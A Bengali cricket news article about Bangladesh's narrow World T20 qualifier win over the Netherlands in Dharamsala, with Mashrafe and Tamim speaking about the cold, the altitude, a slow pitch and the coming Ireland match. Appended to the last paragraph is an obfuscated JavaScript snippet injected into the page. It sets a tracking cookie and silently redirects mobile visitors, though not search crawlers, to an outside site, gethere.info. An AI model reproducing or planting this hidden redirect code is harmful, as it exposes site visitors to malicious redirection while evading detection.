নেদারল্যান্ডসের সাথে ওয়ার্ল্ড টি-টোয়েন্টির বাছাইপর্বের প্রথম ম্যাচটা শুরুর আগে প্রতিকূল আবহাওয়ার কথা বলছিলেন মাশরাফি। আবহওয়ার পাশাপাশি নেদারল্যান্ডসও কম ভোগায়নি বাংলাদেশকে। যথেষ্ট সংগ্রাম করেই প্রথম ম্যাচটা জিততে হয়েছে টাইগারদের। জয় দিয়ে টুর্নামেন্ট শুরু সব দলের কাছেই দারুন একটা বিষয়। তাই বলে পরের ম্যাচগুলো নিয়ে নির্ভার হওয়া যাচ্ছে না। মাশরাফির ধারণা আগামীকাল (শুক্রবার) আয়ারল্যান্ডের সাথে ম্যাচটা আরো কঠিন হতে পারে।

বাংলাদেশে সচরাচর শীতকালে গড় তাপমাত্রা ১৪ থেকে ২০ ডিগ্রি সেলসিয়াসের মধ্যে ওঠানামা করে। সেখানে ধর্মশালায় রাতের তাপমাত্রা আট ডিগ্রি সেলসিয়াসে নেমে যায়। এতো কম তাপমাত্রায় কখনই খেলেনি বাংলাদেশ। তার ওপর সমুদ্রপৃষ্ঠ থেকে সাড়ে চার হাজার ফুট উঁচুতে অবস্থিত এই মাঠে পর্যাপ্ত অনুশীলনে মাধ্যমে অভ্যস্ত হতে না পারলে ক্রিকেটারদের হঠাৎ শ্বাসকষ্ট শুরু হবার আশংকা উড়িয়ে দেয়া যায় না।

মাশরাফি বলেন,‘এই ম্যাচের চেয়ে আরও কঠিন হতে পারে আয়ারল্যান্ড। কারণ রাতের ম্যাচের কন্ডিশন দিনের চেয়ে একেবারেই আলাদা। আরো চ্যালেঞ্জিং হওয়ার ভালো সম্ভাবনা আছে।’

তবে কন্ডিশন নিয়ে যতই আশংকা থাকুক না কেন, প্রথম ম্যাচে নেদারল্যান্ডসকে আট রানে হারানোয় আত্মবিশ্বাসের পারদটা অনেক উঁচুতে উঠে যাচ্ছে বলে জানিয়েছেন অধিনায়ক। এ প্রসঙ্গে তিনি বলেন, প্রথম ম্যাচ জেতায় আমাদের আত্মবিশ্বাস অনেক ভালো। এই অনুভূতি নিয়ে মাঠে নেমে আরো ভালো কিছুর করার তাড়না থাকবে। আয়ারল্যান্ড আমাদের সাথে অনেক ম্যাচ খেলেছে, আশা করি ভালো একটা ম্যাচ হবে।’

তবে উইকেটের চরিত্র তাকে হতাশ করেছে জানিয়ে মাশরাফি বললেন,‘আমাদের ধারনা ছিল উইকেট দ্রুতগতি বাউন্সি হবে। কিন্তু খেলতে নেমে দেখছি উইকেট ধীর ও মন্থর। এই উইকেটে শট খেলা খুব কঠিন। যে পরিকল্পনা নিয়ে আমরা এসেছিলাম, যা ভেবেছিলাম, এখানকার উইকেট আর পরিস্থিতি তার চেয়ে একেবারেই আলাদা।’

অধিনায়কের সাথে একই সুরে সুর মেলালেন তামিম। জানালেন, ব্যাট করতে নেমে রান তোলাটা কঠিন ছিল এই উইকেটে‘ব্যাটিংয়ের জন্য এই উইকেট সহজ না। শুরুর দিকে বল হোল্ড করছিল, স্পিনাররা আসার পর বল স্পিন করছিল খুব। এ ধরনের উইকেটে সময় নিয়ে বিগ শট খেলাটা ভালো। সেটাই কর‍তে চেয়েছিলাম। দীর্ঘসময় ক্রিজে থেকে শান্তভাবে ইনিংসটা গড়তে চেয়েছিলাম। জোরের উপর না খেলে টাইমিংয়ের দিকে খেয়াল রাখছিলাম। সব মিলিয়ে বলা যায় এই উইকেটে রান তোলা কঠিন।’

অধিনায়কের উপর শেষ পর্যন্ত বিশ্বাস ছিল বলে জানালেন তামিম। নেদারল্যান্ডস ইনিংসের ১৭তম ওভারটিতে ডাচদের প্রয়োজন ছিল ২৪ বলে ৪২ রান। অসাধারণ বোলিংয়ে মাত্র তিন রান দিয়ে এক উইকেট নেন মাশরাফি, ডাচদের জন্য ম্যাচ জয়টা মোটামুটি অসম্ভব করে তোলেন। তামিম জানালেন, মাশরাফি যে এমন কিছু একটা করবেন, সে ভরসায় সবসময়ই বিশ্বাস রাখেন অধিনায়কের উপর দলের সবাই।

‘ওই ওভারটা আমাদের জন্যে খুব গুরুত্বপূর্ণ ছিল। ওই ওভারে যদি ১৫-১৬ রান হয়ে যেত, তাহলে ম্যাচটা আমাদের কাছ থেকে বের হয়ে যেতে পারতো। মাশরাফি ভাই, আল-আমিন, তাসকিন খুবই ভালো বোলিং করেছে। তাদের প্রশংসা করলেও কম হয়ে যাবে। ওরা ফাস্ট বোলিং ভালোই খেলে। অথচ ওদের আমরা পেস বোলিং দিয়েই ঘায়েল করলাম। দলের সবারই একটা বিশ্বাস থাকে, মাশরাফি ভাই কিছু একটা করবেন। উনি অনেক দিন ধরে খেলছেন। আমাদের বিশ্বাস ছিল তিনি ভিন্ন কিছু করে দেখাবেন। ১৫ বছর ধরে উনি এটাই করে দেখাচ্ছেন। সামনেও আরও দেখবো’-বলেন তামিম।

ইনজুরি,অপারেশনের যন্ত্রনা আর চিরতরে পঙ্গু হয়ে যাওয়ার আশংকাকে বুড়ো আঙ্গুল দেখিয়ে যে মানুষটা বারবার ফিরে এসে আজো মাঠের ২২ গজে দলকে সামনে থেকে নেতৃত্ব দেন, তার ওপর তো এমন করেই ভরসা করবে সতীর্থরা।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}